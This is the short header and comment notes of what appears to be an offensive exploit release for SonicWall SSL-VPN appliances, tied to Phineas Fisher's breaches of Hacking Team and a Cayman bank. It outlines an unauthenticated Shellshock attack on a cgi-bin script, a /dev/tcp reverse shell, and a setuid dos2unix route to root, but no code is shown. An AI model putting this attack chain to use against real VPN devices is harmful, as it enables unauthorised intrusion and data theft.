SonicWall SSL-VPN Exploit




SonicWall SSL-VPN Exploit, as used by Phineas Fisher to hack Cayman Trust Bank and Hacking Team.

Unauthenticated, gives you a “nobody” shell. Getting root is an exercise for the user.

# Notes:
# This exploit basically implements the exploits Phineas Fisher used to pwn Hacking Team 
# and the Cayman Trust Bank place. It uses the Shellshock vulnerability to gain a command
# execution primitive as the "nobody" user in the cgi-bin/ web-script, spawns
# a trivial reverse shell using /dev/tcp.
# There is a fairly trivial LPE in these that gets you root by abusing setuid dos2unix, but
# implementing that is left as an exercise for the reader. I've seen a few approaches, and 
# would be interested in seeing yours.
# There is another LPE that works only on some models which I also have removed from this.
